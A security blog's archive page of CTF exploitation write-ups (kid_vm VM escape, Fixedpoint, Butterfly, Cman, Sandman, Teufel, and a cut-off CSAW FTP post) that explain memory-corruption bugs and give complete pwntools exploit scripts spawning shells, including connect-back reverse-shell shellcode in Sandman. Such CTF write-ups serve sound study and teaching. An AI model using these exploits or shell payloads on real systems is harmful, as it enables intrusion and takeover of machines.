Showing posts with label Exploitation. Show all posts
Showing posts with label Exploitation. Show all posts

Saturday, August 11, 2018

Real World CTF - kid_vm

kid_vm is a KVM API based challenge. The provided user space binary uses KVM ioctl calls to setup guest and execute guest code in 16-bit real mode. The binary comes with following mitigations
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
The guest code is copied to a page allocated using mmap. KVM_SET_USER_MEMORY_REGION call then sets up guest memory with guest physical starting at address 0 and backing memory pointing to the mmap’ed page
       
        guest_memory = mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        if (!guest_memory) {
                perror("Mmap fail");
                return 1;
        }

        /* copy guest code */
        memcpy(guest_memory, guest, sizeof(guest));

        region.slot = 0;
        region.guest_phys_addr = 0;
        region.memory_size = 0x10000;
        region.userspace_addr = (uint64_t) guest_memory;

        if (ioctl(vm, KVM_SET_USER_MEMORY_REGION, &region) == -1) {
The guest code also sets KVM_GUESTDBG_SINGLESTEP which causes VM exit (KVM_EXIT_DEBUG) on each step. KVM does doesn't seem to notify userspace code on VM exit caused by vmcall. Single stepping looks like a work around to detect vmcall instruction.
        memset(&debug, 0, sizeof(debug));
        debug.control = KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_SINGLESTEP;

        if (ioctl(vcpu, KVM_SET_GUEST_DEBUG, &debug) < 0) {
                perror("Fail");
                return 1;
        }
The next interesting part of code is the user space VM exit handler
    switch (run->exit_reason) {

        case KVM_EXIT_IO:
            if (run->io.direction == KVM_EXIT_IO_OUT && run->io.size == 1
                         && run->io.port == 23 && run->ex.error_code == 1) {

                putchar(*((char *)run + run->io.data_offset));
                continue;
            }

            if (run->io.direction == KVM_EXIT_IO_IN && run->io.size == 1
                            && run->io.port == 23 && run->ex.error_code == 1) {

                read(0, ((char *)run + run->io.data_offset), 1);
                continue;
            }

            fwrite("Unhandled IO\n", 1, 0xD, stderr);
            return 1;

        case KVM_EXIT_DEBUG:
            if (ioctl(vcpu, KVM_GET_REGS, &regs) == -1)
                puts("Error get regs!");

            /* check if VMCALL instruction */
            if (guest_memory[regs.rip] == 0xF && guest_memory[regs.rip + 1] == 1
                                        && guest_memory[regs.rip + 2] == 0xC1) {

                if (ioctl(vcpu, KVM_GET_REGS, &regs) == -1)
                    puts("Error get regs!");

                switch (regs.rax) {

                    case 0x101:
                        free_memory(regs.rbx, regs.rcx);
                        break;
                    case 0x102:
                        copy_memory(regs.rbx, regs.rcx, regs.rdx, guest_memory);
                        break;
                    case 0x100:
                        alloc_memory(regs.rbx);
                        break;
                    default:
                        puts("Function error!");
                        break;
                }
           }
           continue;
VM exits caused port I/O ( KVM_EXIT_IO) are handled to read and write data using stdin/stdout. Three interesting hypercalls are implemented on top of KVM_EXIT_DEBUG event.

Host Bugs:

A. The array that manages host allocations and size, can be accessed out of bound by all 3 hypercalls (free_memory, copy_memory, alloc_memory) Below is the code from alloc_memory
     /* index can take the value 16 here when going out of loop */
     for (index = 0; index <= 0xF && allocations[index]; ++index);

     mem = malloc(size);

     if (mem) {
         allocations[index] = mem;        // out of bounds access
         alloca_size[index] = size;       // can overwrite allocations[0]
         ++number_of_allocs;

This bug is less interesting for exploitation, since there is an use-after-free which gives better primitives

B. The hypercall for freeing memory has an option to free a pointer but not clear the reference. However the guest code enables to access only case 3.
        if (index <= 16) {               // out of bound access

                switch (choice) {

                        case 2:
                                free(allocations[index]);
                                allocations[index] = 0;
                                // can be decremented arbitrary number of times
                                --number_of_allocs;                     
                                break;
                        case 3:
                                free(allocations[index]);
                                allocations[index] = 0;
                                alloca_size[index] = 0;
                                // can be decremented arbitrary number of times
                                --number_of_allocs;                     
                                break;
                        case 1:
                                // double free/UAF as pointer is not set to NULL
                                free(allocations[index]);               
                                break;
                }
        } 
This UAF can be further exercised in the hypercall to copy memory between guest and host
    if (size <= alloca_size[index]) {
        if (choice == 1) {
            // write to freed memory due to UAF
            memcpy(allocations[index], guest_memory + 0x4000, size);        
        }
        else if (choice == 2) {
            // read from uninitialized or freed memory
            memcpy(guest_memory + 0x4000, allocations[index], size);        
        }
    } 
Guest Bug:

Though the host code has UAF, this bug cannot be triggered using the guest code thats currently under execution. Hence we need to achieve code execution in the guest before trying for a VM escape. The guest code starts at address 0. It initializes the stack pointer to 0x3000
seg000:0000                 mov     sp, 3000h
seg000:0003                 call    main
seg000:0006                 hlt
The guest code to allocate memory in guest looks like below:
seg000:007E                 mov     ax, offset size_value
seg000:0081                 mov     bx, 2           ; get 2 byte size
seg000:0084                 call    inb
seg000:0087                 mov     ax, ds:size_value
seg000:008A                 cmp     ax, 1000h       ; check if size < 0x1000
seg000:008D                 ja      short size_big
seg000:008F                 mov     cx, ds:total_bytes
seg000:0093                 cmp     cx, 0B000h
seg000:0097                 ja      short guest_mem_full
seg000:0099                 mov     si, word ptr ds:nalloc
seg000:009D                 cmp     si, 16          ; check the number of allocations made
seg000:00A0                 jnb     short too_many_allocs
seg000:00A2                 mov     di, cx
; move beyond stack@0x3000 and host shared_mem@0x4000, but this can wrap
seg000:00A4                 add     cx, 5000h       
seg000:00A8                 add     si, si
seg000:00AA                 mov     ds:address_array[si], cx ; save address
seg000:00AE                 mov     ds:size_array[si], ax ; save size
seg000:00B2                 add     di, ax
seg000:00B4                 mov     ds:total_bytes, di
seg000:00B8                 mov     al, ds:nalloc
seg000:00BB                 inc     al
seg000:00BD                 mov     ds:nalloc, al

The guest uses the following memory region:
text region  @ 0x0
stack bottom @ 0x3000
shared memory @ 0x4000
heap @ 0x5000 – 0x5000+0xB000
The guest memory allocator starts at address 0x5000 and checks for maximum memory limit allocated being 0xB000. However the check total_bytes + 0x5000 can wrap to 0 during 16-bit addition. This allocation at address 0, allows to overwrite guest code with arbitrary code. Now the vulnerable hypercall paths in host can be triggered from guest.

Exploitation:

I didn’t overwrite the entire guest code, but extended its functionality with the following changes to set bx with user supplied values during vmcall
seg000:0058 _free_memory:                           ; CODE XREF: main+2A↑j
seg000:0058                 call    get_choice
seg000:005B                 jmp     short loop
seg000:01A3                 call    set_choice
seg000:01A6                 mov     cl, ds:index    ; index
seg000:01AA                 mov     dx, ds:size_value
seg000:01AE                 vmcall
 
seg000:01DF                 mov     ax, 101h        ; free
seg000:01E2                 call    set_choice
seg000:01E5                 mov     cl, ds:index
seg000:01E9                 vmcall
seg000:0386 choice          dw 0                    ; DATA XREF: get_choice+B↓o
seg000:0386                                         ; set_choice↓r
seg000:0388
seg000:0388 get_choice      proc near               ; CODE XREF: main:_free_memory↑p
seg000:0388                 push    ax
seg000:0389                 push    bx
seg000:038A                 mov     ax, (offset aElcomeToTheVir+0B7h) ; 
seg000:038D                 mov     bx, 0Ch
seg000:0390                 call    outb
seg000:0393                 mov     ax, offset choice
seg000:0396                 mov     bx, 1
seg000:0399                 call    inb
seg000:039C                 pop     bx
seg000:039D                 pop     ax
seg000:039E                 retn
seg000:039E get_choice      endp
seg000:039E
seg000:039F set_choice      proc near               ; CODE XREF: update_host_memory+4C↑p
seg000:039F                                         ; free_host_memory+1F↑p
seg000:039F                 mov     bx, ds:choice
seg000:03A3                 retn
seg000:03A3 set_choice      endp
Leaking libc and heap pointers:

Since unsorted chunk freelist pointers can be read using UAF, this leaks arena and heap pointers. Allocate 4 chunks, free alternate chunks to prevent coalescing and read the pointers using UAF as below:
for x in range(4):
    allocate_host_memory(256)

free_host_memory(0, INVALID_FREE)
free_host_memory(2, VALID_FREE) 

copy_memory(256, 0, 'A'*256, COPY_FROM_HOST)
heap_mem = p.recvn(0x1000)
Getting code execution:

House of Orange works for this situation. Create a large chunk and free it, but hold reference to the pointer. Later use this reference to overwrite the top chunk to gain code execution. The flag in rwctf format was WoW_YoU_w1ll_B5_A_FFFutuRe_staR_In_vm_E5c4pe. The exploit for the challenge can be found here

References: Using the KVM API, House of Orange

Tuesday, April 19, 2016

Plaid CTF 2016 - Fixedpoint

The binary simply reads integers from user, performs floating point operations on it and stores it in a mmap'ed region with RWX permission. Finally, the mmap'ed region with floating point numbers is executed. We need to supply inputs such that, it transforms to valid shellcode. To solve this, we disassembled floating point values for each of possible values using capstone. Then grepped for needed instructions to chain them together to call execve('/bin/sh', 0, 0)

#include <stdio.h>
#include <string.h>
#include <capstone/capstone.h>

// gcc -std=c99 -o fixedpoint_disass fixedpoint_disass.c -lcapstone

int disass(unsigned int num, char *code) 
{
    csh handle;
    cs_insn *insn;
    size_t count = 0;
    size_t inssz = 0;

    if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) 
        return EXIT_FAILURE;

    count = cs_disasm(handle, code, sizeof(float), 0, 0, &insn);

    if (count > 0) {

        for (int i = 0; i < count; i++) inssz += insn[i].size;

        // check if all bytes are disassembled
        if (inssz == sizeof(float)) {

            for (int i = 0; i < count; i++) 
                printf("%d :\t%s\t\t%s\n", num, insn[i].mnemonic, insn[i].op_str);
        }

        cs_free(insn, count);
    }

    cs_close(&handle);
    return 0;
}


int main(int argc, char **argv)
{
    if (argc != 3) exit(EXIT_FAILURE);

    unsigned int from = atoi(argv[1]);
    unsigned int till = atoi(argv[2]);
    char opcode[8] = {0};
    float bytes;

    for (unsigned int num = from; num <= till; num++) {
        bytes = num/1337.0;
        memcpy(opcode, (char *)&bytes, sizeof(float));
        disass(num, opcode); 
    }

    return 0;
}

Below is the payload:
#!/usr/bin/env python

from pwn import *

HOST = '127.0.0.1'
HOST = 'fixedpoint.pwning.xxx'
PORT = 7777
context.arch = 'x86_64'

soc = remote(HOST, PORT)

"""
134498: xchg  eax, edi
134498: xor  ecx, ecx
134498: inc  edx
"""
soc.sendline('134498')

"""
100487: das  
100487: push  ecx
100487: xchg  eax, esi
100487: inc  edx
"""
soc.sendline('100487')

# set space for /bin/sh
soc.sendline('100487')
soc.sendline('100487')

"""
146531: xchg  eax, edi
146531: xor  ebx, ebx
146531: inc  edx
"""
soc.sendline('146531')

"""
562055: dec  esi
562055: xor  edx, edx
562055: inc  ebx
"""
soc.sendline('562055')

"""
233578: cld  
233578: mov  bl, 0x2e
233578: inc  ebx
"""
soc.sendline('233578')

"""
198025: mov  byte ptr [esp + edx], bl
198025: inc  ebx
"""
soc.sendline('198025')

"""
2238: inc  eax
2238: inc  edx
2238: salc  
2238: aas 
"""
soc.sendline('2238')

"""
301765: cld  
301765: mov  bl, 0x61
301765: inc  ebx
"""
soc.sendline('301765')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
311124: cld  
311124: mov  bl, 0x68
311124: inc  ebx
"""
soc.sendline('311124')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
317809: cld  
317809: mov  bl, 0x6d
317809: inc  ebx
"""
soc.sendline('317809')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
233578: cld             
233578: mov             bl, 0x2e
233578: inc             ebx
"""
soc.sendline('233578')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
324494: cld  
324494: mov  bl, 0x72
324494: inc  ebx
"""
soc.sendline('324494')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')
#2238:   inc             edx
soc.sendline('2238')

"""
309787: cld  
309787: mov  bl, 0x67
309787: inc  ebx
"""
soc.sendline('309787')
#198025: mov             byte ptr [esp + edx], bl
soc.sendline('198025')

"""
152108: dec  ecx
152108: mov  ebx, esp
152108: inc  edx
"""
soc.sendline('152108')

"""
134498: xchg            eax, edi
134498: xor             ecx, ecx
134498: inc             edx
"""
soc.sendline('134498')

"""
100487: das             
100487: push            ecx
100487: xchg            eax, esi
100487: inc             edx
"""
soc.sendline('100487')
# for pop edx
soc.sendline('100487')

"""
151060: cmc  
151060: mul  ecx
151060: inc  edx
"""
soc.sendline('151060')

"""
46691: pop  ecx
46691: mov  al, 0xb
46691: inc  edx
"""
soc.sendline('46691')

"""
9464 : pop  edx
9464 : and  edx, 0x40
"""
soc.sendline('9464')

"""
1377666: dec  edi
1377666: int  0x80
1377666: inc  esp
"""
soc.sendline('1377666')
soc.sendline('DONE')
soc.recvline()

soc.interactive()
# PCTF{why_isnt_IEEE_754_IEEE_7.54e2}

Plaid CTF 2016 - Butterfly

butterfly is a 64 bit executable with NX and stack canaries enabled.

[+] The binary reads 50 bytes through fgets, converts it to integer(address) using strtol
[+] This address is page aligned and made writable using mprotect
[+] The address is processed and then used for bit flip
[+] mprotect is called again to remove write permissions

So, we need to use the bit flip to gain control of execution. Below are the bit flips done in sequence to get code execution:

[+] 0x0400860 add rsp,0x48 -> push 0x5b48c483. This will point RSP into the fgets buffer on return from function
[+] Then return to 0x04007B8 to achieve multiple bit flips
[+] Bypass stack canary check by flipping, 0x40085b jne stack_check_fail -> 0x40085b je stack_check_fail
[+] Modify second mprotect call's argument to keep the RWX permission, 0x40082f mov edx,0x5 -> mov edx,0x7
[+] Modify first mproect call's argument as, 0x4007ef mov r15,rbp -> mov r15,r13. Since r13 holds an address in stack, this will make stack RWX
[+] Send the shellcode in next call to fgets and return to 0x400993 [jmp rsp] to execute the shellcode

Below is the exploit:

#!/usr/bin/env python

from pwn import *

HOST = '127.0.0.1'
HOST = 'butterfly.pwning.xxx'
PORT = 9999
context.arch = 'x86_64'

soc = remote(HOST, PORT)
soc.recvline()

def send_payload(address_to_flip, address_to_ret, shellcode = ''):
    global soc
    payload  = str(address_to_flip) + chr(0) 
    payload += "A" * (8 - (len(payload) % 8))
    payload += p64(address_to_ret)
    payload += shellcode
    soc.sendline(payload)
    soc.recvline()

# add rsp, 0x48
send_payload(33571589, 0x4007B8)

# jnz short stack_check_fail
send_payload(33571544, 0x4007B8)

# mov edx, 5
send_payload(33571201, 0x4007B8)

# mov r15, rbp
send_payload(33570682, 0x4007B8)

# make stack executable and jump to shellcode
shell = asm(shellcraft.amd64.linux.sh())
send_payload(33571864, 0x400993, shell)

soc.interactive()
# PCTF{b1t_fl1ps_4r3_0P_r1t3}

Wednesday, February 3, 2016

HackIM CTF 2016 - Exploitation 300 - Cman

Cman is a 64 bit statically linked and stripped ELF without NX protection. I used IDA's sigmake to generate libc signatures for this binary. The program is a contact manager providing options to add, delete, edit contacts etc.

Function @00000000004021CA reads option from user and calls the necessary functions:
A = ADD_CONTACT@00000000004019B4
D = DELETE_CONTACT@0000000000401C0D
E = EDIT_CONTACT@0000000000401EBD
X = EXIT@000000000040105E
L = LIST_CONTACT@00000000004016E2
S = MANAGE_CONTACT@0000000000401F2D
MANAGE_CONTACT provides many other options
d - delete 
e - edit
p - previous
n - next
q - quit
s - show
Contacts are saved in structures connected using doubly linked list data strucure. Below is the structure being used:
struct contact {
 char fname[64];
 char lname[64];
 char phone[14];
 char header[4];
 char gender[1];
 char unused[1];
 char cookie[4];
 long int empty;
 struct contact *prev;
 struct contact *next; 
};
The pointer @00000000006C3D58 points to head of doubly linked list. This turned out to be useful for exploitation. The program performs two initialization operations - setup a cookie value and add couple of contacts to the manager.

Cookie is set using functions @000000000040216D and @0000000000401113. The algorithm for cookie generation depends on current time.
char cookie[4];
secs = time(0);
_srandom(secs);

for (count = 0; count < sz; count++) {
    cookie[count] = rand();
}
cookie |= 0x80402010
Analyzing the function @0000000000401C5E used for editing a contact, I found a bug.
write("New last name: ");
read(&user_input, 64, 0xA);
......
write("New phone number: ");
read(&user_input, 14, 0xA); // fill the entire 14 bytes so that there is no NUL termination
    
if (user_input) {
   memset(object + 128, 0, 16);
   sz = strlen(&user_input);
   if ( sz > 16 ) sz = 64; // size becomes > 16 as strlen computes length on non-NUL terminated string from last name
   memcpy(object + 128, &user_input, sz); // overflows entries in chunk and corrupts heap meta data
}
Everytime the contact is edited, the cookie value in structure is checked for corruption:
if ( *(object + 148) != COOKIE ) {
    IO_puts("** Corruption detected. **");
    exit(-1);
}
To exploit this bug and overwrite the prev and next pointers of structure, cookie check needs to be bypassed. Note that cookie is generated based on current time as time(0). Checking the remote server time as below, I found that the epoch time is same as mine [Time=56ACC320].
nmap -sV 52.72.171.221 -p 22
SF-Port22-TCP:V=6.40%I=7%D=1/30%Time=56ACC320%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\.4\r\n"); 
So cookie value can be found by guessing the time, thus overflowing the prev and next pointers. Then doubly linked list delete operation can be triggered to get a write-anything-anywhere primitive. Since the binary is statically linked, one cannot target GOT entries as we do normally. So I started looking for other data structures in binary

_IO_puts was making the below call:
.text:0000000000409FF7 mov     rax, [rdi+0D8h]
.text:0000000000409FFE mov     rdx, rbp
.text:000000000040A001 mov     rsi, r12
.text:000000000040A004 call    qword ptr [rax+38h] 
This code is coming as part of call to _IO_sputn (_IO_stdout, str, len). RDI points to struct _IO_FILE_plus(_IO_stdout) in .data segment, which holds pointer to struct _IO_jump_t
struct _IO_FILE_plus
{
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

struct _IO_jump_t
{
    JUMP_FIELD(_G_size_t, __dummy);
    #ifdef _G_USING_THUNKS
        JUMP_FIELD(_G_size_t, __dummy2);
    #endif
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);  // this gets called
So the idea here is to overwrite the vtable pointer with address of contact_head_ptr(.bss) - 0x38. So call qword ptr [rax+38h] will land in contact[0].fname thus directly bypassing ASLR to execute shellcode.

Note that, function checking for valid names, checks only the first character
bool check_name(char *name) {
  return *name > '@' && *name <= 'Z';
}
Below is the full exploit:
#!/usr/bin/env python

from pwn import *
import ctypes
import random

HOST = '52.72.171.221'
HOST = '127.0.0.1'
PORT = 9983
context.arch = 'x86_64'

libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def get_local_time(): return libc.time(0)

def get_cookie(time):
    libc.srandom(time)
    cookie = 0
    for x in range(4):
        random  = libc.rand() & 0xff
        cookie |= (random << (8 * x))
    cookie |= 0x80402010
    return p32(cookie)

def add_node(soc, fname, lname, number, gender):
    soc.sendline("A")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)
    soc.sendlineafter("Phone Number: ", number)
    soc.sendlineafter("Gender: ", gender)

def edit_node(soc, fname, lname, new_fname, new_lname, new_number, new_gender):
    soc.sendline("E")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)
    soc.recvline()
    soc.sendlineafter("New first name: ", new_fname)
    soc.sendlineafter("New last name: ", new_lname)
    soc.sendlineafter("New phone number: ", new_number)
    soc.sendlineafter("New gender: ", new_gender)

def delete_node(soc, fname, lname):
    soc.sendline("D")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)

while True:
    local_time = get_local_time()
    cookie = get_cookie(local_time + random.randint(0,5))
    soc = remote(HOST, PORT)
    soc.recvline()

    # edit already existing node to add shellcode
    fname = "Robert"
    lname = "Morris"
    new_fname  = "P" + asm(shellcraft.amd64.linux.sh())
    new_lname  = lname
    new_number = "(123)123-1111"
    edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')

    # create a new node to overflow
    fname = "A"*8
    lname = fname 
    number = "(123)123-1111"
    add_node(soc, fname, lname, number, 'M')

    # overflow node
    new_fname = fname
    head_ptr = 0x6C3D58
    prev_ptr = p64(head_ptr - 0x38)
    
    # _IO_puts calls _IO_sputn
    # .text:0000000000409FF7 mov     rax, [rdi+0D8h]
    # .text:0000000000409FFE mov     rdx, rbp
    # .text:000000000040A001 mov     rsi, r12
    # .text:000000000040A004 call    qword ptr [rax+38h]
    # RDI points to struct _IO_FILE_plus(_IO_stdout), which holds pointer to struct _IO_jump_t
    # overwrite pointer to _IO_jump_t with address of head node ptr-0x38 

    IO_FILE_plus = 0x6C2498
    next_ptr = p64(IO_FILE_plus - 0xA0)
    chunk_sz = p64(0xC1)[:-1]

    new_lname = "C"*20 + cookie + p64(0) + prev_ptr + next_ptr + p64(0) + chunk_sz
    new_number = "(123)123-11111"
    edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')

    res = soc.recvline().strip()
    if res == "** Corruption detected. **": soc.close()
    else: break

print "[+] Found Cookie : %x" % u32(cookie)

# trigger overwrite due to linked list operation
delete_node(soc, fname, lname)

print "[+] Getting shell"
soc.interactive()

# flag-{h34pp1es-g3771ng-th3r3}

HackIM CTF 2016 - Exploitation 200 - Sandman

sandman is a 64 bit ELF without much memory protections
$ checksec --file ./sandman
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   ./sandman
sandman binary spawns a child process using fork. Parent and child could communicate via pipes. The parent process creates memory page with RWX permission of user specified size and reads data into it. SECCOMP is used to allow only a white list of syscalls - read, write, exit. After this the mmap region is called to execute supplied code.

Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.

The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
len = strlen((user_input + 7));
strncpy(&dest, (user_input + 7), len);
So the idea of exploit is to use write syscalls in parent process to communicate with child to trigger the buffer overflow. Also there is no seccomp protection in child process. Since child is spawned using fork, RSP from parent could be used to compute the buffer address pointing to shellcode in child by a fixed offset thus bypassing ASLR. Below is the exploit:
#!/usr/bin/env python

from pwn import *

HOST = "52.72.171.221"
HOST = "127.0.0.1"
PORT = 9982
conn = remote(HOST, PORT)
context.arch = 'x86_64'

sc  = shellcraft.amd64.linux.syscall('SYS_alarm', 0) 
sc += shellcraft.amd64.linux.connect('127.1.1.1', 12345) 
sc += shellcraft.amd64.linux.dupsh()
sc  = asm(sc)

def gen_payload(sc):
    # pad for QWORDs
    sc += asm("nop") * (8 - (len(sc) % 8))
    payload = ''
    # generate mov rbx, QWORD; push rbx; sequence
    for i in range(0, len(sc), 8):
        qword = u64(sc[i:i+8])
        payload = asm("mov rbx, %d" % (qword)) + asm("push rbx") + payload
    return payload, len(sc)/8

pipe = 0x5
pipe = 0x4

size = p32(8092)
conn.send(size)

# send choice
shellcode  = asm("push 0xe")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 1))

# send size
shellcode += asm("push 0x1000")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 4))

# prepare payload for buffer overflow
# new line
shellcode += asm("mov rbx, 0x0a0a0a0a0a0a0a0a")
shellcode += asm("push rbx")

# padding for 4096 bytes
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 440

# RIP overwrite + ASLR bypass
shellcode += asm("mov rbx, rsp")
shellcode += asm("add rbx, 0xb20")
shellcode += asm("shr rbx, 0x8")
shellcode += asm("push rbx")

# last byte of address
shellcode += asm("mov rbx, 0xffffffffffffffff")
shellcode += asm("push rbx")

# fill buffer
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 5

# connect back shellcode
execve, qwords = gen_payload(sc)
shellcode += execve

# NOPs
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * (63 - qwords)

# HTTP header
shellcode += asm("mov rbx, 0x902f2f3a70747468")
shellcode += asm("push rbx")

# write payload
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 0x1000))

# exit
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_exit', 0))

shellcode += asm("nop") * (8091 - len(shellcode))
conn.send(shellcode + chr(0xa))

# flag-{br3k1ng-b4d-s4ndm4n}

Thursday, December 31, 2015

32C3 CTF - Pwn 200 - Teufel

The binary allocates memory using mmap as below:
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000
And then 4096 bytes is given R+W permission:
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0
Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
.text:00000000004004EE mov     edi, 0          ; fd
.text:00000000004004F3 lea     rsi, [rbp+buf]  ; buf
.text:00000000004004F7 mov     edx, 8          ; nbytes
.text:00000000004004FC call    _read

.text:0000000000400507 mov     edi, 0          ; fd
.text:000000000040050C lea     rsi, [rbp+buf]  ; buf
.text:0000000000400510 mov     rdx, [rbp+buf]  ; nbytes
.text:0000000000400514 call    _read
This leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
.text:000000000040051F lea     rdi, [rbp+buf]  ; s
.text:0000000000400523 call    _puts
Below is the idea for info leak to get mmap and libc address:

[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution

Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
.text:00000000000F6950 loc_F6950:                              ; CODE XREF: sub_F6260+661
.text:00000000000F6950                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F6957                 jmp     short loc_F6911

.text:00000000000F6911 loc_F6911:                              ; CODE XREF: sub_F6260+6F7
.text:00000000000F6911                 mov     rdx, [rbp+var_F8]
.text:00000000000F6918                 mov     rsi, r8
.text:00000000000F691B                 call    execve
Among the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

# from the provided libc
offset_exit = 0x00000000000cafe0

got_exit = 0x00600FD0

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

# get address of libc
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit
payload += struct.pack("<Q", 0x0040051F) # address to puts call
soc.send(payload)

soc.recv(128)
libc_exit = soc.recv(128).strip() + chr(0)*2
libc_exit = struct.unpack("<Q", libc_exit)[0]
print 'Address of exit : %s' % hex(libc_exit)

libc_base = libc_exit - offset_exit
print 'Address of libc base : %s' % hex(libc_base)

mmap_to_libc = RBP - libc_base
print 'Address offset : %s' % hex(mmap_to_libc)
Address of mmap : 0x7f30435c6000
Address of exit : 0x7f30430a6fe0
Address of libc base : 0x7f3042fdc000
Address offset : 0x5ea000
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

offset_libc_base = 0x5ea000
offset_execve = 0x0F6950

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

libc_base = RBP - offset_libc_base
execve = libc_base + offset_execve

# get shell
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL
payload += struct.pack("<Q", execve)
soc.send(payload)
soc.recv(16)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
# 32C3_mov_pop_ret_repeat
Flag for the challenge is 32C3_mov_pop_ret_repeat

Wednesday, September 23, 2015

CSAW CTF - Exploitables300 - FTP

This is a continuation of Reversing 300 challenge. The goal is to read the flag file. But the binary has a protection, if filename has 'f' character, then the request is considered invalid. This invalid character 'f' used for comparison is saved as part of bss memory, hence writeable.

There were few bugs in this binary

[*] Buffer overflow in password handling function @ 0x040159B. Input buffer is copied into stack till space character
password_sz = strlen(pass_command);
for ( i = 0; *pass_command != ' ' && password_sz-1 >= i; ++i )
{
    c = pass_command++;
    command[i] = *c;                            
}
USER blankwall
Please send password for user blankwall
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
login with USER PASS
[0x4017c5] __stack_chk_fail(4, 0x403086, 21, -1*** stack smashing detected ***: ./ftp_0319deb1c1c033af28613c57da686aa7 terminated
 <no return ...>
[pid 34300] [0x7ffff7a4bcc9] --- SIGABRT (Aborted) ---
[pid 34300] [0xffffffffffffffff] +++ killed by SIGABRT +++
[*] Buffer overflow in command handling function @ 0x00402673, same as password handling function
memset(command, 0, 128);

command_sz = strlen(command_string);
for ( i = 0; *command_string != ' ' && command_sz-1 >= i; ++i )
{
